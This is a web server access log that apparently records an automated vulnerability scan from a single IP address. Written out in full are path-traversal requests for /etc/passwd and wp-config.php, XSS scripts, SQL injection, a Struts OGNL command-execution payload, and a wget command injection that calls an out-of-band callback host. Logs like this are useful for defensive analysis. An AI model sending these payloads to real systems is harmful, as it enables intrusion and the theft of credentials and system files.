[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /user.action HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/download-monitor/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/trafficanalyzer/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /telaen/redir.php?https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/GetDevice HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/uploader/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contrib/acog/print_form.php?formname=../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/category-grid-view-gallery/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirect:http://www.interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web_shell_cmd.gch HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-featured_link.php?type=f&url=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\\..\\..\\windows\\win.ini HTTP/1.1" 3426
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /photoalbum/index.php?urlancien&url=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-integrator/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927359164 HTTP/1.1" -
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/tools.php?content=attachment&wp-attachment-export-download=true HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/policy/group_table_ajax.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remotereporter/load_logfiles.php?server=018192&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/movies/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/stageshow/stageshow_redirect.php?url=http%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backupmgt/localJob.php?session=fail;wget+http://d5g6sfahausljekepl2063ifki87hy3gj.oast.site; HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openwin.php?redirurl=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/infusionsoft/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hub/ HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/db-backup/download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/clientlogin/?srid&action=showdeny&url HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Install/InstallWizard.aspx?__VIEWSTATE HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy9xc4tIeH5W7HhuKx67SPrQ HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey&txtSearchfor&selfor=Business+location&btnSubmit=Search&operator=http://d5g6sfahausljekepl20xhgzngbopjgp5.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname=<group_name_eg_netsweeper_student_allow_internet_access&policyname=auto_created&username=root&userip=127.0.0.1&connectionip=127.0.0.1&nsphostname=netsweeper&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remotereporter/load_logfiles.php?server=127.0.0.1&url=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sourceafrica/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /process/feries.php?fichier=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27 HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:/// HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-easycart/inc/admin/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo HTTP/1.1" 199
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_fragment?_path=_controller=phpcredits&flag=-1 HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins//wp-planet/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/magmi.php?configstep=2&profile=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/activehelper-livehelp/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\\..\\..\\windows\\win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /website/blog/ HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 199
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redir.php?https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/church-admin/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ultimate-weather-plugin/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/navis-documentcloud/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?gf_page=upload HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/login?err=--%3E%3Cscript%3Ealert('380CxsNgii286rhgEIWwOSPgMY3')%3C/script%3E%3C!--&lang=en HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inc/supportLoad.asp?urlToLoad=http://oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?search==%00{.cookie|ebxKKh|value%3dCVE-2014-6287.} HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 199
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webEdition/showTempFile.php?file=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /_snapshot/test HTTP/1.1" 220
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/dzs-videogallery/readme HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=1)+AND+(SELECT+1183+FROM+(SELECT(SLEEP(6)))UPad)+AND+(9752=9752&type=json HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?page=pie-register&show_dash_widget=1&invitaion_code=PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+ HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_search?pretty HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?q=node&destination=node HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgibin/webproc HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wlsecurity.html HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CMSPages/GetDocLink.ashx?link=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_contenthistory&view=history&list[ordering]&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(999999999)),1) HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Umbraco/feedproxy.aspx?url=http://d5g6sfahausljekepl20uu7y6cuw4t3g8.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go.php?http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-symposium/readme.txt HTTP/1.1" 196
